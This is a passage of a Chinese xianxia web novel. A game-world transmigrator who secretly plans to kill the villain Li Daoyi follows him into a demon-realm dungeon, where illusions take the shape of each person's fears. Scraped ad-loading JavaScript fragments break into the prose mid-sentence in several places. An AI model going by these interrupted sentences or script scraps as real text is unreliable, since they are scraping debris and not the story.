放下是不可能放下的，要是放弃这个任务，她不就永远留在这个世界了？
修仙世界虽然能延长人的寿命，但这里终究只是一个游戏世界，司马稚作为一个玩家，很难把自己的思维变成其中的角色。
没有谁能甘心做游戏世界中NPC。
司马稚到落霞峰时，看到李道意的房门是大开着的，他脸色苍白地坐在窗边，见她走近时，朝她微微一笑。
司马稚看得背后一凉，将从珍宝阁买来的丹药放在他面前，“都是上好的丹药，你的伤……”
李道意将小木盒拿过，打开盒子，闻了闻味道，他捂紧了脸，他冷冷吐出一个字：“臭。”
“……”
还嫌弃上了。
“丹药不都是这个味道？”司马稚想了想，对李道意解释道：“那日，我是吃了合欢宗的糕点才……”
李道意看着她：“我知道。”
司马稚双手攥紧，在李道意的目光下，她总觉的很局促，甚至刚开始穿进这里时的沉稳镇定都渐渐消失了。
她很害怕。
但她心里想着，如今身边的这些人不过只是游戏角色而已，他们不应该会影响到自己的任何情绪。
现实看来，似乎不是这样的。
“那……”司马稚偷瞥了李道意一眼，他神色如常，只是脸色较平常更苍白了一些，“少主、就没什么想问我的么？”
李道意向后仰了仰，倚靠在软垫上，“有。”
他像个真正的傀儡的一样，问一句答一句。
司马稚：“什么？”
李道意：“你带了谁到剑宗来？”
司马稚还觉得自己和荀疏的踪迹挺隐秘的，除了在灵网上告诉了李沧舟一声，她谁也没说过。
“是琉光宗的荀疏，”司马稚说道，“他好像认识你。”
李道意语气平淡，似乎并不在意：“哦，我忘了。”
司马稚抿紧了唇，现在就装吧，以后真对上魔君大人，可有你好受的。
游戏剧情里，对李道意和荀疏之前的交集并未多加叙述，最多的剧情就是荀疏为了卓蕙心而吃醋，这李道意最多属于是两人之间的垫脚石。
但男主终究是男主，李道意这个恶毒男配，是永远没办法和女主双宿双飞的，就算男女主之间的感情之路再怎么艰难，卓蕙心还是会毅然决然地选择荀疏。
这样看来，李道意还挺惨的。
司马稚可不准备怜悯他，毕竟自己为了回家还要将李道意杀了，多生出些没用的情绪只是给自己添堵。
司马稚给李道意说着正事：“荀疏说想要了解傀儡的事情，我们那晚正好杀了申赫，所以来问问我们有没有什么线索。”
李道意揉了揉胸口，仿佛那里痛得要命，“杀都杀了，能有什么线索。”
司马稚对后续的剧情有些印象，这傀儡祸事，本就是魔族与堕魔联手在修仙界搞出来的破坏，但也不乏修仙界中的某些宗门暗中相助。
她当时玩游戏的时候总爱跳过剧情，现在也记不清到底是哪几个宗门和魔族暗中合作。
不过，这些事，与她的关系不大。
司马稚将桌上的药盒又往李道意那边推了推，“记得吃药。”
李道意一点不犹豫：“太臭，不吃。”
司马稚忍住瞪他的冲动，将乾坤袋里的上品重剑拿到李道意面前。
她蛊惑似的，说道：“你把药吃了，我就把剑给你。”
李道意看着她手中的重剑，又想起她之前的那一把，蓦地笑出声。
“你不会以为，我是想要一把好剑吧？”
“难道不是么？”司马稚疑惑，“剑修喜欢收集剑，很正常啊。”
言下之意就是，喜欢就喜欢嘛，还装什么装。
“司马稚。”
他口中叫着她的名字，虽然没了合欢宗糕点的迷惑，但司马稚听在耳里，还是觉得有些怪，但她又说不清道不明这种特殊的情绪。
“干嘛？”司马稚语气僵硬。
李道意扬了扬眉，苍白的脸上浮现出释然，“我知道你想杀我。”
“……！！”司马稚连忙摆手，赶紧解释道：“我不是！我没有啊！我真是吃了合欢宗的糕点才会做这种蠢事，少主你和我又没什么恩怨纠葛……”
司马稚想起之前邱宗然说的话，一比一复制给李道意听。
李道意笑说：“我不在意。”
司马稚眉眼之间满是焦急，“我真不是！”
她一说谎就容易话多，车轱辘话来回说，说到最后只能一直重复一句“不是我”、“我没有”。
“杀个人而已，”李道意起身，“紧张什么？”
他身上穿的是一件新的道袍，颜色较之前那件更深一些，衬的肌肤更加白皙。随着李道意起身的动作，轻柔的道袍垂在他的脚边，腰间盈盈一握。
司马稚露出一个比假笑还假的笑：“我没紧张啊，我只是不想少主你误会我。”
李道意颔首，嘴边仍笑着：“嗯，那我就先相信你。”
“你当然要相信我！我对剑宗和少主，绝无二心啊！”
李道意眉眼带笑，拿着他的长星就往外走去。
“药！少主吃药！”司马稚捧着药追出去。
李道意垂眸瞥了药盒一眼，将里面的所有丹药一口全吃了个干净。
司马稚：“……”不吃就不吃，一吃就全给吃了。
不愧是恶毒男配。
司马稚追了上去，语气颇为讨好：“少主你要去哪儿？”
李道意冷冷道：“找荀疏。”
不是才说不熟嘛！
司马稚生怕他出了什么毛病，亦步亦趋地跟在李道意身侧，见他虽然看起来虚弱一些，但步子还算稳
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
健。
李道意停在李沧舟的殿门外，回头看向司马稚：“你要听？”
“不行？”司马稚问。
李道意没什么所谓的，“随你。”
得了他这句话，司马稚就放心地跟在他身后。
大殿之中，司马稚还以为会看到李沧舟和荀疏高谈阔论，对这修仙界的局势分析一番。
没想到，一花白头发的老人与一少年对坐着，两人认真地看着棋盘上的残局。
李道意冷冷道：“无趣。”
司马稚：“……”
荀疏见李道意一来，立马起身，连棋局输赢都不在乎了。
“道意道友！”荀疏拱手。
李道意随意地点了点头。
“有事请直言。”李道意语气毫无感情。
他就像是一个被安排的台词机器，到某个节点就说一句事先安排好的台词。
司马稚晃了晃脑袋，想什么呢，他们本来就是一串代码，所有的感情都是被安排好的。
荀疏在看到司马稚的时候，面上有些尴尬，“其实，我这一次来就是为了见道意道友，当日知道申赫被杀，我第一个想到的就是道意道友。”
李道意伸手阻止了荀疏的客套话，他看向坐在一旁面无表情的李沧舟，问道：“想要我做什么？”
荀疏也看向李沧舟，试探道：“和我一同调查傀儡之事。”
李沧舟闻言，闭了闭眼，紧皱着的眉心突然松开，他像是解脱了一般，叹了口气：“去吧。”
李道意的目光落在李沧舟身上，直白又平静，是一种很可怕的平静。
李道意拱手称是，像是早就料到了有这么一件事。
而司马稚倒是看得有些懵。
她作为一个有上帝视角的人，司马稚清楚地知道，李沧舟和李道意之间的关系。
李道意的出现，对于几百多年前的修仙界剑修第一的李沧舟，是一个巨大的打击。
因着剑修独特的修行风格，大部分的剑修都会以无情道为辅，当初的李沧舟也不例外，参透无情道，方能使剑术更上一层楼。
而他正当意气风发之时，不知从哪儿突然冒出来了个儿子，李沧舟那时说是被万人耻笑也不为过。
在李沧舟继承了剑宗之后，虽然他并未当众承认李道意，但也一直让李道意留在剑宗，甚至准备日后也将剑宗交到李道意手中。
而琉光宗，那是李沧舟曾经的师门，一个再也回不去的师门。
除了每一百年的仙门大选，剑宗会送几名弟子参加，在此之外，剑宗与琉光宗没有半点联系。
荀疏沉默了片刻，继续道：“师叔，此次傀儡之事已经深入各个宗门，师叔也多加小心。此番修仙界的祸乱，还请道友相助。”
李沧舟揉了揉眼角，那双眼睛越来越浑浊，身躯也日渐僵硬，他所剩的时间也不多了。
李沧舟缓缓开口，对李道意说道：“你去吧，把她也带上。”
李沧舟指向李道意身后的司马稚，几人的目光皆落在她身上。
司马稚突然想起，李沧舟之前对自己说过的话，他这是害怕李道意做出什么危害修仙界的事嘛！
所以才叫她跟在李道意身边监督他。
这可真是正中她怀。
“这位姑娘……”荀疏笑了声，“挺好的。”
李道意侧眸，静静看着一脸兴奋的司马稚，不急不缓道：“是挺好的，就是胆子小了点，还不敢杀人。
9. 009
李道意眼尾一挑，似乎又觉得自己说错了。
其实她胆子一点也不小，既敢将他推去傀儡手下挡剑，也敢给他下毒后来补刀。
只不过，这一次，比起前两次，她可是收敛太多了。
还给他送什么药来，看起来对他的伤势十分上心。
可笑不可笑？
司马稚从李道意身后，探出头去，朝着李沧舟点了点头，“掌门放心，我会“保护”好少主的。”
保护二字，她自己说出口都觉得荒谬。
她不知道自己杀了李道意之后，这个游戏世界会怎么发展，或许会一直进行下去，没有了这个李道意，还会出现张道意、王道意……也不一定。
李沧舟压着嗓子咳嗽起来，一句话说得断断续续：“让宗然安排一下，你们明日就启程。”
这么快？
司马稚记得，这傀儡出现的时间已经不短了，只不过从前在琉光宗并未出现过，或许是这一次出了申赫的事才这样紧张。
司马稚看向李道意和荀疏之间，李道意态度冷淡，倒是符合他一贯的作风。
只是荀疏看起来还想和李道意亲近些。
游戏剧情里，男主就是个爽快的人，什么想法都摆在脸上，没什么坏心思，就算日后恢复了魔君的记忆，那心思也是澄澈的。
不像李道意，心眼多得像蜂窝煤一样。
次日一早，李沧舟作为掌门，给几人都发了个乾坤袋。
李沧舟说：“乾坤袋里有一些符文和丹药，想来你们去琉光宗也少不了这些，将傀儡的事调查清楚后，就去参加仙门大选吧。”
卓蕙心也拿了一个，她有些手足无措，躲在司马稚身后，小声说：“阿稚，掌门说让我也跟着你们一起去，可是我什么修为都没有呀！”
李沧舟自然有他的打算，司马稚也能猜到一二。
卓蕙心的体质是最能吸引傀儡的，他这是要让卓蕙心去当诱饵啊。
邱宗然也很担心：“你俩都没修为，掌门为何要让你们一起，我真是猜不透。”
司马稚挑了挑眉，看向面前一脸苦相的邱宗然：“师兄不用担心啦！到时候我们仙门大选上再见呀！”
“哎……”邱宗然长叹一口气：“虽说少主修为颇高，但你俩还是得保护好自己，若是遇到危险的话，一定要跑得够快！天下武功，唯快不破嘛！”
荀疏走上前来，朝着邱宗然拱手：“宗然道友放心好了，还有我在。”
邱宗然没办法和李道意计较，只好将不满的情绪发泄在荀疏身上，“就是因为你，我才担心！我两个可爱的小师妹，还没出师，就得跟着你们出去办事。若是我两个师妹出了什么事，我是不会放过你的！”
卓蕙心感动得眼泪汪汪的，她从未体验过被人记挂的感觉，来到剑宗后，不管是谁对她都很好，剑修们看她的眼神都很单纯清澈，并不是那种想将她占为己有的贪婪。
荀疏仔细闻了闻身侧的药香，打量着卓蕙心：“这位道友，天生药香？”
卓蕙心与荀疏不熟，见他看着自己，便缩回了司马稚身后，让司马稚挡住自己。
邱宗然哼了声，“我的师妹厉害吧？劝你不要对我的师妹抱有任何幻想，我们剑宗的人都是要修行无情道的。”
卓蕙心小心翼翼地在司马稚身后点头。
荀疏笑着点了点头，“无情道，还属道意道友厉害，师妹可以多向道意道友请教一二。”
司马稚：“不！不行！”
邱宗然：“你叫谁师妹呢？是你师妹吗，你就叫！”
李沧舟拍了拍邱宗然的肩膀，示意他少言，“好了，琉光宗的行舟已经准备好了，快些动身吧。”
司马稚朝着李沧舟苍老的脸看过去，只见他朝自己点了点头，似乎是在提醒她，那一件重要的事。
司马稚回他一个浅浅的笑，李道意不会有危害修仙界的那一天的，因为在此之前，她肯定能杀了他。
几人登上行舟，由于邹宗然是剑宗的大师兄，被李沧舟留在了身边，替李沧舟掌管剑宗的事务。
李道意脸上仍没有什么表情，只不过是多看了李沧舟一眼。
他回眸时，与司马稚的视线正好相撞。
司马稚朝他挑了挑眉，略带挑衅。
她现在可是得到了李沧舟的命令，以后监视李道意，那可就是名正言顺的事情了。
她总能从细枝末节中，找到真正杀掉李道意的办法。
司马稚盯李道意盯得入神，卓蕙心悄悄挽上她的手，“阿稚，我好舍不得剑宗。从前……我活过的十几年，都没有一个稳定的居所，只有你们愿意收留我。”
卓蕙心声音软软的，让司马稚也不由得放松下来：“你放心好啦，以后会更好的，好好修行还能飞升呢！”
她没说谎，游戏里的结局就是卓蕙心和荀疏飞升了，主角团里，只有那个承受了九百九十九道天雷的李道意被劈得焦黑。
当然，“被劈得焦黑”只是她的猜想。但想来，李道意也不会有什么好结局。
琉光宗距离剑宗很远，但行舟没有运行多久，就停了下来。
“到了？”司马稚拿起手边的长剑，站起身。
那把在珍宝阁买的好剑还放在她的乾坤袋里，尚且还没给李道意，她没好意思用那把剑，就放着不动，等找个机会再给他。
司马稚扶着卓蕙心走下行舟后，荀疏才将行舟收回，而李道意只是漫不经心地走在三人身后，丝毫不像是被请来帮忙的人。
此处不像是琉光宗，游戏里描绘的琉光宗像是南天门那般光辉堂皇，高耸入云的登天梯，而且琉光宗所处的城镇也是最为富饶的地方。
而这里，入目皆是暗紫瘴气，天幕昏暗，日月不见，星辰全无。
司马稚下意识捂了捂自己的口鼻，却听耳边传来一声轻笑。
她仰头看去，入目的是李道意垂至胸前的银色长发，那两根小辫晃晃悠悠，似乎也在笑。
司马稚握紧了拳头，学着他的样子，也发出一声轻哼。
谁不会笑似的。
卓蕙心显然没弄明白现在的处境，她担心地挽住司马稚的手：“阿稚，这是琉光宗吗？我怎么感觉有点阴森森的……”
荀疏走上前来，神色也凝重了几分：“这里是魔域。”
荀疏转过身，向几人解释道：“傀儡是从魔域开始的，我们要查，也要从源头查起。”
司马稚小心打量着荀疏的神情，看起来还是没有恢复记忆的样子，他们几人之中，也只有司马稚知道荀疏的真实身份，她还不能暴露自己，实在太难了。
不过回到魔域，她也觉得精神力好了不少，虽然她没有魔骨，但生来也是个魔族。
回老家的感觉还不
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
错。
“嗯，”李道意点了点头，懒懒道：“然后我们就会被魔使抓起来，严刑拷打一番。”
司马稚：“……”他这说的是人话吗？
她可是魔族圣女，荀疏虽然没了记忆，但始终是魔君，被抓、被打的话，那也只能是……
李道意话音刚落，身边的瘴气倏然散开，从不远处一红衣男子坐在八抬大轿上，缓缓而来。
抬轿的不是人，而是八个妖兽，每一个都是魔气滔天的妖兽，它们眼神贪婪，在看向几人的眼中充满了吞噬的欲望。
而轿上的红衣男子悠闲自得，他脸上带着金丝面具，双眼隐藏在面具之下，只露出了下颌。
他是魔使，千点星。
看到千点星的那刻，司马稚尽管面色没怎么变，但默默握紧了手中的剑。
千点星长袖一招，朝着四人拱手行礼，“各位，等候多时。”
“你是魔君？”荀疏疑惑地问。
千点星直起身子，露出的嘴角微勾，装得自然：“正是。”
荀疏上前，将琉光宗掌门的手书双手呈到千点星面前，“在下琉光宗荀疏，这是掌门手书。”
千点星两指一扬，书信在面前展开，也不知他到底看没看，只是一瞬，他长指一动，书信化为灰烬。
荀疏：“你！”
“我早知你几人来意，”千点星收回手，慢吞吞道：“来我魔域做客，先得……”
“在地牢待满七日，”李道意打断千点星缓慢的语气，“快些。我伤口还疼着。”
他最后一句话，是对着司马稚说的。
司马稚别过脸去，上好的丹药他一把都吃了精光，那点伤怎么可能还没好？！
千点星：“……”
“哈哈哈，”千点星狂笑着，像极了魔君的做派，“本君瞧着，这位小友和姑娘倒是长得很符合本君心意，那你二人便跟着本君罢。”
千点星伸出手来，朝着司马稚和荀疏的额间点了一下，两人的眉眼间突然生出一道红色的印记。
有些发烫。
一道黑气涌来，裹挟着李道意和卓蕙心的身体，就要将两人往地牢带去。
卓蕙心吓得话都说不出口，咬着唇，一脸可怜。
“不行！”司马稚伸手打断道，“我也要去地牢！”
千点星怔了一瞬，就听荀疏也说道：“我们既是一同来的，也应当有福同享有难同当。”
司马稚用眼神威胁着千点星，点了点头。
她可是圣女！虽然没有修为，但圣女就是圣女！
千点星无奈：“……行吧，那便让你们下第十九层地牢。”
千点星衣袖一招，几人瞬间失重般下落，司马稚下意识将卓蕙心推进了荀疏怀里，自己踩着李道意的脚背往下坠去。
极速的风像是刀片一样刮过司马稚的脸颊，身上的劣质道袍也被地牢的风划破了几道口子。
“呃……”
身下传来一身闷哼，司马稚摸了摸身下的人，还是完整的，没有摔成一滩烂泥。
她不是在摸他的腰，是很用力地在掐他，像是要把草莓掐烂，流满一地的汁水。
李道意浑身僵硬着，深吸一口气，缓了缓，沉声问：“还摸？”
“你……”司马稚从李道意身上坐起来，拍了拍她掐过的地方，“身材挺好的，继续保持。”
10. 010
司马稚爬起来，四周一片漆黑，一丝光亮都没有。
她努力回想着，在游戏里面通关魔域剧情的时候，魔域地牢每一层都有不同的刑罚，这第十九层……她还真记不起来是什么酷刑了。
“滴答——”
司马稚往李道意那方靠近了些，她低声问：“你听到什么声音没？”
李道意抬头往上看去。
“像是水滴。”司马稚猜测。
随着水滴的声音由远及近，司马稚看见身边黑暗渐渐被白光驱散，不知是从何而来的水滴落在她的鞋面上，传来一股钻心的冰凉。
司马稚用手肘撞了撞李道意，问道：“嘶、这里是什么鬼地方？”
李道意不紧不慢道：“幻境。”
司马稚无语，她还能不知道这是幻境吗？！但这到底是什么幻境啊？
正当司马稚气恼的时候，空中传来千点星虚无的声音：“七日之后，我来给你们收尸。”
司马稚原地转了个圈，也没看到千点星。
不是、魔族坑自己人这么顺手的吗？还是说，千点星他很有把握，他们都能从这幻境里面出去？！
如果是游戏也就还好，过不去的话，还能存档重来。但现在，她就只有最后一次杀李道意的机会了！
司马稚找到李道意的身影，急忙跟了上去。
黑雾渐渐消散，出现在面前的皆是浓白，什么也看不见，她只能看见李道意的背影。
他漫无目的地往前走了几步，忽然停下来，李道意的脸上没了笑意，他问道：“你最害怕什么？”
“害怕？”司马稚摇了摇头，嘴硬说着：“我没什么害怕的。”
“哦。”李道意应了一声，显然是不信。
司马稚没明白李道意的意思，而是在这里找了许久都没有找到荀疏和卓蕙心的身影：“蕙心和我们一起掉下来的，他们人去哪儿了？”
李道意：“自然是进入了另一个秘境。”
司马稚算是松了口气，卓蕙心跟着荀疏，总归不会出什么事，说不定两人还能培养一下感情。
等两人两情相悦了，这李道意就算是想插足也插不进去。
但司马稚看目前的李道意，似乎对卓蕙心并没有别样的感情，他总是一脸淡然，一副活人微死的状态。
李道意手指轻捻，在一片看不着边际的空地上，从乾坤袋中搬出了一张木椅。
司马稚看着他慢条斯理地躺了上去，他丝毫没有想要走出这片幻境的欲望。
司马稚凑了过去，还没来得及开口，就见李道意身后突然出现一只诡异的东西。
那怪物浑身白毛，嘴角尖得像是鸟喙倒钩着，但它却没有长着鸟的翅膀，而是人的身子。
它扭动着细长的脖子，像是蛇身一般柔软，怪物将头探到司马稚面前，尖嘴向着两边咧开，露出一抹诡异的笑容。
司马稚一把拉住李道意的小臂，将他从木椅上拽起，往后一退，拔剑出鞘，剑光凛冽。
司马稚堪堪稳住身形，问：“这是什么鬼东西？！”
李道意也看向那个怪物，他蓦地笑了笑，“这得问你。”
怪物歪了歪头，它展开手臂，从它身后出现更多怪物，一个接一个，每一个都长得一模一样，渐渐地将两人包围在其中。
司马稚退无可退，“都什么时候了，你还跟我打哑谜？！”
中央的怪物发出一声尖锐的鸣叫，怪物双眼血红，一窝蜂地朝两人袭来，身上的长毛在快速移动中变得如坚刺般竖立。
司马稚足尖轻点，一剑斩断面前的一只，一脚踹飞一个。
长毛怪的哀鸣声不绝于耳，但一只被司马稚斩杀，另一只又会不断地涌上来。
杀得死，但斩不绝。
那长毛怪见司马稚这边不好下手，便朝着李道意身后袭去。
“李道意！”
司马稚借力上前，将长剑刺进李道意身后的怪物体内。
司马稚实在有些恼怒，他不出手就算了，连躲都不知道躲了吗？
李道意沉下眸子，神色也并不好看，“我的修为被压制了。”
这还是他第一次主动向她解释。
司马稚拧紧了眉头，还没等她想出个解决办法，那群长毛怪便乌压压地涌上来。
她脑中忽然浮现邱宗然说过的话，打不过就跑嘛，天下武功，为快不破。
司马稚拉着李道意，拔腿就跑。
她掌心湿热的触感传递到李道意手中，李道意垂眸，瞥过一眼掌心的异样。
一只怪物跳到两人身前，堵住了他们的去路。
李道意松开她的手，现出长星伞，伞面是天下最有韧性的防御神器，而伞柄化为的长星剑，被他塞进司马稚的手里。
司马稚仰头看他一眼，来不及多想，便丢了自己的剑，握紧了长星剑。
长星剑在她的手中颤动不已，像是焦躁万分。
李道意沉声怒喝：“长星！”
司马稚挥剑向着长毛怪刺去，剑身上的点点星光在半空停留出一道蜿蜒的痕迹。
剑气也击退不少长毛怪，但这些鬼东西像是不怕死一般，接二连三地冲上来。
李道意用伞身抵挡着她身后的怪物，他想结印掐诀，却没有半点作用。
李道意回头，只见到司马稚因斩杀长毛怪而打湿的鬓发，她紧贴着他的后背，喘着气，她尽量调整着自己，应对下一轮的进攻。
李道意刚想收回伞的手顿住，她好像很想活着。
他忍住想要咳血的笑意，“司马稚，你最害怕什么？”
司马稚问：“混蛋李道意！你还在和我开玩笑吗？”
李道意有问必答：“不是。”
“我害怕尖嘴、长毛……”司马稚闭眼说着。
她猛然一睁眼，面前的怪物不就是她害怕东西的具象化吗？！
她突然反应过来，扭头问他：“这……要怎么破解？”
“杀了它们，”他顿了顿，“亦或者、亲近它们。”
杀、她杀了这么多，一点用也没有，面前这一群庞然大物的数量似乎并未减少。
但亲近它们……
她做不到！
尖嘴长毛怪长得这么恶心，她要怎么亲近它们？！
司马稚坚定地摇了摇头，“不、不行，我恶心这玩意儿。”
“那就只有，”李道意抬手用伞面压迫着想要上前的长毛怪，“一直杀下去。”
司马稚：“……”
若是这样一直下去，那肯定是她先认输，这群怪物可以源源不断地出现，但她的体力一旦消耗殆尽，那他们不就成为了长毛怪的盘中餐了嘛！
司马稚仰起头，瞪大双眼，看向中央那只最大的长毛怪。
只看了一眼，她就浑身发颤。
李道意贴上她湿透的背脊，声音低沉：“我在你身后。”
司马稚再次抬眸，看向那怪物身后的虚空，她夹着嗓音，也忍不住声音的颤抖：“……宝
(function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
宝乖、来、姐姐摸一摸……”
长星剑在她的手中颤动着，像是受不了这样的使用者。
而那长毛怪又露出了那个怪异的笑，猩红的双眼却渐渐暗了下去，它伸长脖子向着司马稚靠近。
包围在两人四周的长毛怪，一个接一个地消失，最后只剩下中央那只庞大无比的怪物。
它继续扭动着细长的脖子，将那张诡异的脸展现在司马稚面前。
司马稚松了长星剑，咬牙切齿摸上了怪物的脸，竖起的长毛在她触摸上的那一刻，瞬间垂下，柔软无比。
“……真、乖。”司马稚咬牙切齿，朝着李道意露出一抹假笑。
李道意握紧长星，见一人一怪物这般“温馨”的场面，也没忍住笑出了声。
正当怪物也沉浸其中时，李道意使着长星剑，身影缥缈，斩去了怪物身上最长的那一缕毛发，他立马侧身，将那尖嘴也一并斩下。
尖嘴被斩下的瞬间，血浆迸发，喷洒在司马稚脸上，流满了一身恶臭的味道。
“李道意！”他出手太快，司马稚还没来得及躲闪，沾满了一身血腥，“我要杀了你！”
李道意看向那瘫倒在地的怪物，再没了复苏的生机，这才慢条斯理地擦去长星剑身上的血渍。
“啧，”他拧了拧眉，“臭死了。”
司马稚跨过怪物的尸体，哀怨地站在李道意面前：“……你要不看看我呢？”
李道意用满是笑意的语气，挑衅着她：“这红色衣裙好看。”
司马稚深吸一口气，被李道意气得不行。
她抬手，猛地扑进李道意怀里，两臂还死死环住他的腰，势必要将身上的血液传递到李道意身上。
司马稚在他怀里蹭了蹭，算着他要对自己出手的时间，又瞬间推开他。
她扬了扬眉，用更加张扬的语气说道：“这剑宗的衣服颜色太淡了，你穿红色更好看。”
李道意瞬间身躯僵硬，停在原地，脸上的笑意滞于嘴角，那双绀青色的眸子里满是不解。
下一秒，他抬手将长星剑递到司马稚面前，“杀了我，这件长袍就能染成红色。”
司马稚凝眸，端详着他的神情，他看起来一点儿也不像是在开玩笑。
“嘁，”司马稚别过脸去，“只准你笑我，不准我笑你吗？赔你一件新的就是了，说什么杀不杀的话……”
李道意见她无论如何都不接过长星剑，但她刚才突然扑进他怀里，难道不是想杀他吗？
李道意问：“你不想么？”
司马稚看向另一侧，明知故问道：“想什么？我现在只想从这里出去。”
长毛怪躺在血泊中，那双小小的黑色眼睛，看向司马稚，最后眨了眨，彻底没了生机。
它的毛发消散，连同着它的尸体，最后只留下了一滩散发着恶臭的血迹。
李道意走在司马稚身后，看清了长毛怪消散的过程。
李道意故意说道：“它是因你而死。”
司马稚回头看了一眼那滩血，以及自己身上的污血，反问道：“过关打怪不是很正常的事情吗？你一个修无情道的，怎么还多愁善感起来了？”
李道意终于满意地点了点头。
他终于知道，为什么只有司马稚杀他时，能让他有那种奇异的感觉了。
她是被天上贬下来的神，一个没有任何怜悯之情的人，做不了神，只能和他一同进入这无休止的回溯。
原来，司马稚和他是同道之人啊。
11. 011
另一面，卓蕙心醒来时，荀疏正坐在她的床边。
她环顾一圈，这里既不是刚才的地牢，也不是剑宗，而是她养父母的家。
卓蕙心立马起身，问荀疏：“仙长这是送我回家了么？”
“……这约莫是个幻境，”荀疏见她醒来才松了口气。
卓蕙心歪了歪头，这里的一切都这么真实，结果竟然是幻境么？
荀疏饶有耐心给卓蕙心解释道：“他们魔域最喜欢用幻境来折磨人，卓姑娘可以想想在你家里有没有发生什么特别的事，这样我才能知道，为什么幻境会是你的家。”
卓蕙心挠了挠头，“没有啊……我从前就是在普通村子里长大的。”
卓蕙心说着，领着荀疏轻易地打开了房门。
荀疏握紧了手中的长剑，怔怔地看着卓蕙心。
荀疏提醒道：“在你醒来之前，我试着打开过这扇门。”
很明显，荀疏没能将门打开。
看来，这个幻境是针对卓蕙心的。
荀疏刚想着要如何帮卓蕙心解决这个幻境，就见一身白衣的琉光宗掌门大道真人翩翩而来。
荀疏怔了一瞬，随即走上了前去。
他拱手弯腰，向面前的人行礼：“师尊。”
大道真人面无表情，眉眼之间甚至还带了些隐藏的愠怒，“剑宗的李道意已经突破了金丹境。”
荀疏将腰弯得更低，“弟子……知错。”
大道真人语气强硬，却带着几分自豪：“从前我的师尊并不看好本君，他更喜爱那个天赋异禀的师弟。但如今，继承他老人衣钵的，只有本君。”
荀疏回答：“弟子明白。”
大道真人睨着低眉顺眼的徒弟，并没有消气，“你不明白。当初本君就被李沧舟压了一头，而你作为本君的徒弟，岂能再被李道意压过去？”
荀疏有口难言，他也有在认真修行，只不过修行并非是能一蹴而就之事。
但碍于大道真人对他的期待，他也只好将痛苦咽下，“请师尊放心，弟子不会落后于道意道友的。”
大道真人冷哼了一声，“那便去练习，每日挥剑三万次，突破金丹境后再来面见本君。”
“……是。”
卓蕙心跟在荀疏身后，她见着荀疏与一个缥缈的幻影说了几句话后，拿起剑就开始练习。
一次、两次……
过了许久，卓蕙心坐在一旁的石头上，打了个哈欠。
天边的日光渐渐暗淡，卓蕙心站起身来，她不懂要怎么破解这个幻境，只能在一旁等着荀疏停止挥剑。
但目前，荀疏已经挥剑挥到大汗淋漓了，却还一直咬牙坚持着，他不敢松懈一分一毫。
“荀疏仙长……”卓蕙心弱弱地开口。
荀疏认真地练剑，并未理会她。
卓蕙心刚叹了口气，就感觉到身后一股阴凉袭上她的脖颈，这是她最熟悉不过到温度。
“……小姑娘，好香啊，让我吃了你好不好？”
她不知道身后的是妖魔还是鬼怪，卓蕙心提裙就往荀疏那处跑。
“仙长！有鬼！”
“仙长！救命！”
荀疏置若罔闻，一门心思练着自己的剑。
//
司马稚在这漫无边际的幻境里，来来回回走了好久，也没找到出口。
她气喘吁吁地回来，李道意躺在木椅上，身上已经换上了一件崭新的道袍。
司马稚血压又高了，“你不是修为被压制了嘛？怎么清洗的衣物？”
李道意懒懒抬眸，“乾坤袋里，多带了一些。”
司马稚朝他伸出手，“那少主也大发慈悲给我一件？”
大发慈悲？他么？开什么玩笑。
李道意若有所思地盯着她，没有任何动作。
“我这身衣服臭死了。”司马稚尾音拖长，颇像是在对他撒娇。
李道意笑了笑，缓缓启唇，尾音上扬着：“求、我、啊。”
“……嘁！”幼稚！
司马稚这人，要修为有骨气，要头脑有骨气。
坚决不向某些邪恶男配低头。
司马稚别过脸去，翻找着自己的乾坤袋，里面装的大半都是辟谷丹，还有一些符纸丹药。
失策啊。
司马稚又低头闻了闻自己身上的味道，腐烂的血腥气冲鼻，她闭上眼睛缓了缓。
臭就臭呗，反正现在被熏的又不是她一个人。李道意在这里不能用修为，也抵挡不住这味道。
想到这里，司马稚往李道意身边又凑近了一些。
现在杀不了他，还不能恶心他了么？
李道意冷冷地看着她小心翼翼地往自己身边挪动，还是没忍住从乾坤袋里抽出一件法衣丢到她脸上。
他的神情依旧倨傲，“臭。”
“……”她还能不知道臭吗？！
司马稚看了看手中的上品法衣，疑惑道：“剑宗这么穷，你哪儿来的这么多上品法衣？”
明明在剑宗的时候，他们穿的都是同样的道袍，没想到这李道意还偷偷将好东西藏起来。
李道意不言，也让司马稚认真地打量起他来。
她之前玩游戏的时候，并不太关注这个恶毒男配，对他的经历也只是一知半解，甚至经常跳过在剑宗发生的剧情。
不过，剧情再加上前两次的经历，司马稚现在已经差不多摸清了李道意这人，他就是一个令人糟心的角色。
因着自己天赋异禀，所以李道意从来都是别人家的孩子，因此让男主荀疏前期一直以打败李道意为目的。
而对卓蕙心来说，李道意虽然是她的师兄，但对她也十分冷淡，就连最后李道意向卓蕙心告白时，卓蕙心也会觉得李道意是在捉弄自己。
没有人会喜欢李道意。
司马稚盯着这人好看的皮囊，突然冒出了个念头：“你修的，是正经的无情道么？”
李道意不答反问：“还有不正经的？”
司马稚挑了挑眉，突然靠近他：“我好不好看？”
李道意毫无反应，甚至有些疑惑地看向她。
两人相视沉默。
怎么可能？！她也不是没看过自己的这副皮囊，那可是一等一的大美女。
李道意的无情道修得这么好？
司马稚两步并作一步，走到他身后，将脱下来的外衫盖在李道意脸上，快速地换好新的衣衫。'');(window.adbyunion = window.adbyunion || []).push(id);})();
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
腥臭还残留着她体温的衣衫完全挡住了他的眼睛，浓郁的血腥气涌向鼻尖。
“我换衣服！”司马稚在他身后说道，“你不能偷看！”
李道意刚抬起的手又落了下去，他回想着刚才司马稚问他的话，她好不好看。
他说不上来，因为他压根不知道，评价一个人好不好看的规则是什么。
只不过，她的体温很舒服，就连残留在腥臭衣衫上面的温度，都有些让他指尖发麻。
他想动手。
一如之前某一次一样，将世间所有带有温度的东西，都在手中折断，用玄冰刺进他们体内，将其冰封。
正当李道意想得入神时，司马稚换好衣衫，将那件沾满血腥的从他脸上扯下，丢在一旁。
李道意眼神有些恍然，被司马稚直直盯着，他耳尖竟然开始泛红，热意从身后袭来。
